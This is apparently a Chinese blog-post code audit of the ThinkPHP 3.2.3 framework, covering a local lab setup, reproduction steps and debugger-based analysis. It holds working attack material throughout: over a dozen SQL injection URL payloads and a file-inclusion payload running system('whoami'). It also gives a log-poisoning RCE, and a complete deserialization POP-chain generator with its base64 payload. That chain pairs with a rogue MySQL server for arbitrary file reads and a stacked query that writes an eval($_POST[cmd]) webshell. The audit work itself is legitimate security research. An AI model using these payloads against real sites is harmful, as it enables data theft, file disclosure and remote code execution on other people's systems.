前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >thinkphp3.2.3代码审计

thinkphp3.2.3代码审计

作者头像
F12sec
发布2022-12-30 15:34:52
9840
发布2022-12-30 15:34:52
举报
文章被收录于专栏:F12secF12sec

thinkphp3.2.3代码审计

环境准备

源码地址:http://www.thinkphp.cn/download/610.html

环境搭建:phpstudy pro [apache + php7.3 + mysql5.7]

审计工具:PhpStorm

框架知识速解:https://www.cnblogs.com/kenshinobiy/p/9165662.html

下载完源码,将源码解压放至无中文的目录,使用phpstudy pro添加网站,选择网站目录至根目录

配置数据库文件,打开\ThinkPHP\Conf\convention.php,填写自己相应的配置

开启debug 方便本地测试,配置在根目录index.php

然后创建一个user测试表,如下

漏洞复现

sql注入-where

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

代码语言:javascript
复制
    public function select() {
     $id = I('get.id');
     $user = M('user');
     $data = $user->find($id);
     var_dump($data);
    }

浏览器访问:

代码语言:javascript
复制
http://tp323.com/index.php/home/index/select?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)-- -

把find改成select也是可以利用

代码语言:javascript
复制
$data = $user->select($id);

浏览器访问:

代码语言:javascript
复制
http://tp323.com/index.php/home/index/select?id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)-- -

sql注入-exp

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

代码语言:javascript
复制
    public function select() {
        $map['id'] = $_GET['id'];
     $user = M('use');
     $data = $user->where($map)->find();
     var_dump($data);
    }

payload:

代码语言:javascript
复制
http://tp323.com/index.php/home/index/select?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)

sql注入-bind

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

代码语言:javascript
复制
    public function test() {
        $User = M('users');
        $user['id'] = I('id');
        $data['username'] = I('username');
        $value = $User->where($user)->save($data);
        var_dump($value);
    }

payload:

代码语言:javascript
复制
http://tp323.com/index.php/home/index/test?id[0]=bind&id[1]=0 and (updatexml(1,concat(0x7e,user(),0x7e),1))&username=aaaaa

sql注入-table

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

代码语言:javascript
复制
    public function test3() {
        $id = I('get.id');
        $user = M('user');
        $data = $user->select($id);
        var_dump($data);
    }

payload:

代码语言:javascript
复制
http://tp323.com/index.php/home/index/test3?id[table]=information_schema.tables where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)-- -

sql注入-alias

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

代码语言:javascript
复制
    public function test3() {
        $id = I('get.id');
        $user = M('user');
        $data = $user->select($id);
        var_dump($data);
    }

payload:

代码语言:javascript
复制
http://tp323.com/index.php/home/index/test3?id[alias]= where updatexml(1,concat(0x7e,user(),0x7e),1)-- -

sql注入-field

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

代码语言:javascript
复制
    public function test3() {
        $id = I('get.id');
        $user = M('user');
        $data = $user->select($id);
        var_dump($data);
    }

payload:

代码语言:javascript
复制
view-source:http://tp323.com/index.php/home/index/test3?id[field]=user()-- -

sql注入-join

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

代码语言:javascript
复制
    public function test3() {
        $id = I('get.id');
        $user = M('user');
        $data = $user->select($id);
        var_dump($data);
    }

payload:

代码语言:javascript
复制
http://tp323.com/index.php/home/index/test3?id[join][]= where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)

sql注入-group

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

代码语言:javascript
复制
    public function test3() {
        $id = I('get.id');
        $user = M('user');
        $data = $user->select($id);
        var_dump($data);
    }

payload:

代码语言:javascript
复制
http://tp323.com/index.php/home/index/test3?id[group]=updatexml(1,concat(0x7e,user(),0x7e),1)

sql注入-having

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

代码语言:javascript
复制
    public function test3() {
        $id = I('get.id');
        $user = M('user');
        $data = $user->select($id);
        var_dump($data);
    }

payload:

代码语言:javascript
复制
http://tp323.com/index.php/home/index/test3?id[having]=updatexml(1,concat(0x7e,user(),0x7e),1)

sql注入-order

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

代码语言:javascript
复制
    public function test3() {
        $id = I('get.id');
        $user = M('user');
        $data = $user->select($id);
        var_dump($data);
    }

payload:

代码语言:javascript
复制
http://tp323.com/index.php/home/index/test3?id[order]=updatexml(1,concat(0x7e,user(),0x7e),1)

sql注入-union

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

代码语言:javascript
复制
    public function test3() {
        $id = I('get.id');
        $user = M('user');
        $data = $user->select($id);
        var_dump($data);
    }

payload:

代码语言:javascript
复制
http://tp323.com/index.php/home/index/test3?id[union][]=select user(),version(),database()

sql注入-comment

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

代码语言:javascript
复制
    public function test3() {
        $id = I('get.id');
        $user = M('user');
        $data = $user->select($id);
        var_dump($data);
    }

payload:

代码语言:javascript
复制
http://tp323.com/index.php/home/index/test3?id[comment]=*/ where updatexml(1,concat(0x7e,user(),0x7e),1)-- -

sql注入-force

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

代码语言:javascript
复制
    public function test3() {
        $id = I('get.id');
        $user = M('user');
        $data = $user->select($id);
        var_dump($data);
    }

user需要先创建一个索引,如id

payload:

代码语言:javascript
复制
http://tp323.com/index.php/home/index/test3?id[force]=id ) where updatexml(1,concat(0x7e,user(),0x7e),1)-- -

sql注入-count

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

代码语言:javascript
复制
    public function test3() {
        $count = I('get.count');
        $user = M('user');
        $data = $user->count($count);
        var_dump($data);
    }

payload:

代码语言:javascript
复制
http://tp323.com/index.php/home/index/test3?count=id),user(

文件包含-show

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

代码语言:javascript
复制
    public function rcetest($n='word') {
        $this->show('Hello '.$n);
    }

payload:

代码语言:javascript
复制
http://tp323.com/index.php/home/index/rcetest?n=<?php system('whoami');?>

命令执行-assign变量覆盖1

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

代码语言:javascript
复制
    public function test2(){
        $this->assign($_GET['name']);
        $this->display();
    }

新建html文件,命名为test2.html,在\Application\Home\View\下创建index目录,将文件放到该目录

\Application\Runtime\Logs\Home目录下,将今天的日志文件内容全部删除,方便测试

payload1:需要在burp中发送,因为在浏览中发送会被编码

代码语言:javascript
复制
http://tp323.com/index.php/home/index/test2?a=<?=phpinfo();?>

payload2:

代码语言:javascript
复制
http://tp323.com/index.php/home/index/test2?name[_filename]=./Application/Runtime/Logs/Home/22_05_31.log

如果没开启日志,或者是日志被一些语法破坏,其实包含其他也是可以的,比如图片马,比如我们可以上传图片马并且知道位置,可以如下利用

代码语言:javascript
复制
http://tp323.com/index.php/home/index/test2?name[_filename]=public/uploads/pinfo.png

所以只要能有一个可以包含进来的文件即可,或是当任意文件读取使用

命令执行-assign变量覆盖2

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

代码语言:javascript
复制
    public function rcetest() {
        $name = $_GET['name'];
        $from = $_GET['from'];
        $this->assign($name,$from);
        $this->display();
    }

新建html文件,命名为rcetest.html,在\Application\Home\View\下创建index目录,将文件放到该目录

此利用条件需要修改配置文件,修改\ThinkPHP\Conf\convention.php文件

TMPL_ENGINE_TYPE的值修改为php

payload:

代码语言:javascript
复制
http://tp323.com/index.php/home/index/rcetest?name=_content&from=<?php phpinfo();?>

反序列化

先将php版本设置成php5,我这里设置成php5.6.9

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

代码语言:javascript
复制
    public function un() {
        unserialize(base64_decode($_GET['un']));
    }

首先需要搭建恶意MySQL服务器

脚本地址:

代码语言:javascript
复制
https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py

然后根据设置好端口(请勿与其他服务冲突)与需要读取的文件,如我这里将端口设置为3307,读取的文件为:F:/MyApplication/phpstudy_pro/WWW/thinkphp323/ThinkPHP/Conf/convention.php,即数据库的配置文件

然后使用python2运行即可,那么实战怎么知道这个数据库文件位置呢,有一个条件就可以,就是thinkphp开启debug,我们只要让它报错就行了,比如 http://tp323.com/index.php/home/asdasdas

那么我们继续接着构造反序列化poc,hostname为构造的恶意ip地址,hostport为端口,其他可以不改

代码语言:javascript
复制
<?php
namespace Think\Db\Driver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
        );
        protected $config = array(
            "debug"    => 1,
            "database" => "tp323",
            "hostname" => "127.0.0.1",
            "hostport" => "3307",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "root"
        );
    }
}

namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;

        public function __construct(){
            $this->img = new Memcache();
        }
    }
}

namespace Think\Session\Driver{
    use Think\Model;
    class Memcache{
        protected $handle;

        public function __construct(){
            $this->handle = new Model();
        }
    }
}

namespace Think{
    use Think\Db\Driver\Mysql;
    class Model{
        protected $options   = array();
        protected $pk;
        protected $data = array();
        protected $db = null;

        public function __construct(){
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                "table" => "mysql.user where 1=updatexml(1,concat(0x7e,user(),0x7e),1)#",
                "where" => "1=1"
            );
        }
    }
}

namespace {
    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

生成的poc为

代码语言:javascript
复制
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjU5OiJteXNxbC51c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdXNlcigpLDB4N2UpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjU6InRwMzIzIjtzOjg6Imhvc3RuYW1lIjtzOjk6IjEyNy4wLjAuMSI7czo4OiJob3N0cG9ydCI7czo0OiIzMzA3IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo4OiJ1c2VybmFtZSI7czo0OiJyb290IjtzOjg6InBhc3N3b3JkIjtzOjQ6InJvb3QiO319fX19

然后将生成的poc发送请求即可,回显是空白的

然后刚刚的python运行的文件有回显,就会获取到我们设置读取的文件

查看mysql.log就可以查看 convention.php 的内容了

然后再将刚刚的反序列化poc修改如下内容

代码语言:javascript
复制
        protected $config = array(
            "debug"    => 1,
            "database" => "sql",
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "123456"
        );

最后注入结果如下

如果数据库开启了可写,那么也可以利用堆叠写入文件,将poc改为

代码语言:javascript
复制
        public function __construct(){
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                "table" => "mysql.user where 1=2;select 0x3c3f70687020406576616c28245f504f53545b636d645d293f3e into outfile 'F:/MyApplication/phpstudy_pro/WWW/thinkphp323/shell.php'#",
                "where" => "1=1"
            );
        }

即可成功写入

漏洞分析

sql注入-where

首先给I方法设置断点

开始调试跟进,一直跟进,直接查看过滤的地方吧

显然没有很多函数都没有过滤,updatexml也不例外,所以也可以直解使用union select

代码语言:javascript
复制
http://tp323.com/index.php/home/index/select?id[where]=0 union select user(),version(),database()-- -

接着看find方法,设置断点

开始debug测试,请求

代码语言:javascript
复制
http://tp323.com/index.php/home/index/select?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)-- -

F7步入跟进

显然我们传入的是数组,不满足这个if,所以直接到达获取主键的函数

获取到主键为id,紧接继续进行判断,由于$pk不为数组,所以也跳过这个if

设置查询一条记录,然后使用_parseOptions函数进行处理

这里有一个过滤方法,但是需要先满足if条件,这里并不满足,因为$options['where']不是数组

里面有一个_parseType方法使用intval过滤了

所以可以直接看看最后的了,可以看到最后的sql语句

sql注入-exp

这里使用map['id'] = _GET['id'];获取id是因为I方法过滤了关键词exp

所以这里也直接查看find方法,下断点

前面的差不多一样,直接跟进到_parseOptions方法,判断是否是标量

标量变量是指那些包含了 integer、float、string 或 boolean 的变量,而 array、object 和 resource 则不是标量。这里的$val为数组,所以也不会进入_parseType方法

然后继续跟进到parseSql方法

这里只有where,所以继续跟进

然后一些不必要的直接略过,跟到parseWhereItem方法,可以看到直接是拼接返回

所以这里不在进行一些不重要的调试了,直接看最后的sql语句

sql注入-bind

在save函数处打断点

传输过程也是跟前面分析的两条差不多,把值传输到 $this->options['where']

进入_parseType方法验证类型

紧接着是_parseOptions方法进行字段验证

因为是数组,所以不会进入_parseType方法

继续跟进到update方法

parseSet方法 拼接了一个 =:

此时的 sql

然后继续跟进parseWhere方法

然后进行 parseWhere,然后再parseWhereItem

选择bind拼接= :

此时的 sql

然后继续跟进到execute,该方法有个关键的地方

strtr函数进行替换处理,就是将:0替换为username传入的值

最后就能成功执行该报错函数

sql注入-table

前面的分析都差不多,这里直接跳到parseTable方法

此时table不是数组类型而是string类型,所以直接看elseif,先将string以,进行分割形成一个数组

这里正则返回1然后又非,所以不会进入该if,也就不会添加这个反引号

最后又把刚刚去掉的,又组合起来了

所以最后的sql语句如下,从sql中可知,需要一个存在的表才能走到updatexml函数,否则先报错表不存在

sql注入-alias

前面的流程差不多,直接看到拼接位置,可以看到是直接将表名与传入的值直接拼接

这里也是满足正则,不会添加反引号

最后的sql语句

sql注入-field

前面的都一样,所以直接来看parseField方法

跟进,发现其实也没啥操作就是别名定义,但是key为0,所以也就没有拼接上AS,最后返回原来的字符串

最后返回拼接的语句

sql注入-join

直接看到parseJoin方法,直接拼接

最后返回的sql语句

sql注入-group

直接看到parseGroup方法,也是判断完直接拼接

sql注入-having

直接看到parseHaving方法,也是判断完直接拼接

sql注入-order

直接看到parseOrder方法,也是直接拼接

sql注入-union

直接看到parseUnion方法, 依旧是直接拼接

sql注入-comment

直接看到parseComment方法,因为是拼接的,所以前边加一个*/闭合然后再构造sql语句

sql注入-force

直接看到parseForce方法,可以看到也是拼接起来用的

sql注入-count

调试断点

跟进,这里会进行一下初始化,这里也没什么过滤,也是直接拼接罢了

所以由这里可得出这几个方法(sum、min、max、avg)其实都存在一样的问题

文件包含-show

这里可以先不用debug,直接追踪show方法看看都执行了什么操作

跟进display()

跟进fetch ()

当开启PHP原生模板时:命令执行模块中的内容

当没使用PHP原生模板时:进入exec方法

这里执行的是else,所以直接去看看exec方法

继续跟进run方法,有个load方法

跟进load,最后是直接包含这个$_filename缓存文件 ,形成文件包含

缓存文件内容如下

命令执行-assign变量覆盖1

前面的分析跟show一样,直接看到,变量覆盖位置

命令执行-assign变量覆盖2

跟进display()方法

继续跟进display

跟进fetch

在这里就可以看到刚刚为什么需要修改的配置文件,因为只有满足if了才能进入extract

debug调试

反序列化

既然是反序列化那就先从魔术方法__destruct开始找

全局搜索 function __destruct(

像这种没有可控参数的,就比较难利用 ,所以只能继续找

ThinkPHP/Library/Think/Image/Driver/Imagick.class.php文件中,可以看到有可控变量(img)的方法

如果我们对 img 变量赋值一个对象,就会调用 destroy() 方法,而PHP7中,如果无参调用一个含参方法,ThinkPHP会报错,在PHP5中不会报错,所以这就是刚刚我们需要先将PHP版本设置为5的原因

接着就全局搜索 function destroy 方法看看是否可以利用

ThinkPHP/Library/Think/Session/Driver/Memcache.class.php有两个目前可控的参数(handle与sessionName)

所以继续全局搜索function delete方法,但是发现传入的参数大多数都是array形式

而即使将sessionName设置为数组this->sessionName.

代码语言:javascript
复制
<?php
    $a = array("spaceman" => "fw");
    $b = $a."";
    var_dump($a);
    var_dump($b);
    var_dump(is_array($b));
?>

输出结果:

代码语言:javascript
复制
array (size=1)
  'spaceman' => string 'fw' (length=2)

string 'Array' (length=5)

false

所以这里sessionName就不可控了

但是我们可以在ThinkPHP/Library/Think/Model.class.php文件中发现可控参数$pk

有了这个可控的参数,我们就可以控制options了,因为满足if条件后又会再调用一下本身,而data也是可控的,所以现在就是 pk、data、

继续往下分析,这里要跳过if的话就需要设置$options['where'] => 1=1

然后接着就是db的delete了

跟进ThinkPHP\Library\Think\Db\Driver.class.php的delete方法,因为options是可控的,所以options['table']也就可控

中间的操作没什么过滤,所以直接看最后的execute方法,从名字中就知道是执行sql语句,但是这里有个初始化数据库的方法initConnect

跟进initConnect方法,一般是默认单数据库,所以选择else语句

根据connect方法,这是连接数据库方法,所以只需要我们设置可控参数$config即可连接任意数据库

所以理清思路,将链子连起来

代码语言:javascript
复制
ThinkPHP/Library/Think/Image/Driver/Imagick.class.php::__destruct()
–>
ThinkPHP/Library/Think/Session/Driver/Memcache.class.php::destory()
–>
ThinkPHP/Library/Think/Model.class.php::delete()
–>
ThinkPHP/Library/Think/Db/Driver.class.php::delete()

最后就可以构造poc了

代码语言:javascript
复制
<?php
namespace Think\Db\Driver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
        );
        protected $config = array(
            "debug"    => 1,
            "database" => "sql",
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "123456"
        );
    }
}

namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;

        public function __construct(){
            $this->img = new Memcache();
        }
    }
}

namespace Think\Session\Driver{
    use Think\Model;
    class Memcache{
        protected $handle;

        public function __construct(){
            $this->handle = new Model();
        }
    }
}

namespace Think{
    use Think\Db\Driver\Mysql;
    class Model{
        protected $options   = array();
        protected $pk;
        protected $data = array();
        protected $db = null;

        public function __construct(){
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                "table" => "mysql.user where 1=updatexml(1,concat(0x7e,user(),0x7e),1)#",
                "where" => "1=1"
            );
        }
    }
}

namespace {
    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

Finally

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-10-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 F12sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • thinkphp3.2.3代码审计
    • 环境准备
      • 漏洞复现
        • sql注入-where
        • sql注入-exp
        • sql注入-bind
        • sql注入-table
        • sql注入-alias
        • sql注入-field
        • sql注入-join
        • sql注入-group
        • sql注入-having
        • sql注入-order
        • sql注入-union
        • sql注入-comment
        • sql注入-force
        • sql注入-count
        • 文件包含-show
        • 命令执行-assign变量覆盖1
        • 命令执行-assign变量覆盖2
        • 反序列化
      • 漏洞分析
        • sql注入-where
        • sql注入-exp
        • sql注入-bind
        • sql注入-table
        • sql注入-alias
        • sql注入-field
        • sql注入-join
        • sql注入-group
        • sql注入-having
        • sql注入-order
        • sql注入-union
        • sql注入-comment
        • sql注入-force
        • sql注入-count
        • 文件包含-show
        • 命令执行-assign变量覆盖1
        • 命令执行-assign变量覆盖2
        • 反序列化
      • Finally
      相关产品与服务
      云数据库 SQL Server
      腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档